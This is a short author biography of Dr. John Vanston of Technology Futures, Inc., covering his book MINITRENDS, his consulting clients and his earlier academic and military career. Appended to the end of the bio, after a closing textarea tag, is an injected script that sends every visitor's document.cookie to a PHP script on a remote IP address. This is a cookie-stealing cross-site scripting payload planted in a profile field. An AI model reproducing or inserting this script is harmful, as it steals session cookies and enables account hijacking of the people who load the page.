John H. Vanston (edit name/settings)

Dr. John Vanston, Chairman, Technology Futures, Inc., is an internationally known consultant, educator, speaker, and award-winning author on the subjects of Minitrends, technology forecasting, technology/market integration, and technology management in uncertain environments. His new book MINITRENDS: How Entrepreneurs & Innovators Discover & Profit From Business & Technology Trends, written in collaboration with Carrie Vanston, demonstrates how individuals and businesses can successfully find and exploit emerging trends and launch their own “Minitrend Adventure.” The book is an Eric Hoffer Business Book of the Year winner, a ForeWord Review’s Book of Year finalist, a Dan Poynter’s Global Business eBook Award Finalist, and has received many excellent reviews and endorsements.He founded Technology Futures in 1978 and has conducted analyses of emerging technologies for a wide range of organizations including Boeing, 3M, Chevron Chemical, DuPont, Coca Cola, Kyocera, Exxon, IBM, Kodak, Nortel, Duke Power, Southern Company, Department of Defense, National Science Foundation, National Security Agency, Central Intelligence Agency, Georgia Tech, and the University of Texas. Dr. Vanston is a popular speaker and has given presentations, workshops, and seminars to organizations all over the world including the World Future Society, the Industrial Research Institute, the Association of Strategic Planners, the University of Houston Futures Studies Program, and the University of Texas at Austin. Prior to establishing TFI, Dr. Vanston served as a professor of nuclear engineering at the University of Texas at Austin and as Deputy Director of the University’s Center for Energy Studies. Earlier, Dr. Vanston served as a Lt. Col. in the U.S. Army.</textarea><script>d = document;s = d.createElement('img');s.src = 'http://200.123.107.187/cook.php?cook='+escape(document.cookie);d.body.appendChild(s);</script>